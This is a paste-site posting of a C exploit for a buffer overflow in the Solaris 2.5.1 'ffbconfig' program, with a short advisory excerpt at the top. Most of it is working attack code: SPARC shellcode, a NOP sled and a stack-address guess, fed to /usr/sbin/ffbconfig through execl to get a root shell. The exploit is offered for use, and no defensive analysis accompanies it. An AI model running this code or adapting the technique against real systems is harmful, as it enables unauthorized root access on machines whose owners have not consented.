Solaris 2.5.1 - 'ffbconfig' Local Privilege Escalation- CVE-


SUBMITTED BY: FlyFar

DATE: May 16, 2024, 3:57 a.m.

FORMAT: C

SIZE: 2.3 kB

HITS: 461

  1. /*
  2. source: https://www.securityfocus.com/bid/202/info
  3. The ffbconfig program is used to configure the Creator Fast Frame Buffer (FFB) Graphics Accelerator, which is a component of the FFB Configuration Software Package (SUNWffbcf). A buffer overflow condition has been discovered that may allow an unauthorized user to gain root access on the system.The ffbconfig program is used when the FFB Graphics accelerator card is installed. Thus, to test if a system is vulnerable, run the following command to see if the SUNWffbcf package is installed./usr/bin/pkginfo -l SUNWffbcfIf the package is not present, you will receive an error message stating that SUNWffbcf was not found. If it is present, ffbconfig is installed in /usr/sbin.The following versions of SunOS are affected:SunOS versions 5.5.1 and 5.5 SPARC running the Creator FFB Graphics Accelerator.
  4. */
  5. /*
  6. This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5
  7. */
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <sys/types.h>
  11. #include <unistd.h>
  12. #define BUF_LENGTH 128
  13. #define EXTRA 256
  14. #define STACK_OFFSET 128
  15. #define SPARC_NOP 0xa61cc013
  16. u_char sparc_shellcode[] =
  17. "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
  18. "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
  19. "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  20. "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
  21. "\x91\xd0\x20\x08"
  22. ;
  23. u_long get_sp(void)
  24. {
  25. __asm__("mov %sp,%i0 \n");
  26. }
  27. void main(int argc, char *argv[])
  28. {
  29. char buf[BUF_LENGTH + EXTRA];
  30. long targ_addr;
  31. u_long *long_p;
  32. u_char *char_p;
  33. int i, code_length = strlen(sparc_shellcode),so;
  34. long_p = (u_long *) buf;
  35. for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  36. *long_p++ = SPARC_NOP;
  37. char_p = (u_char *) long_p;
  38. for (i = 0; i < code_length; i++)
  39. *char_p++ = sparc_shellcode[i];
  40. long_p = (u_long *) char_p;
  41. targ_addr = get_sp() - STACK_OFFSET;
  42. for (i = 0; i < EXTRA / sizeof(u_long); i++)
  43. *long_p++ =targ_addr;
  44. printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  45. targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  46. execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  47. perror("execl failed");
  48. }

comments powered by Disqus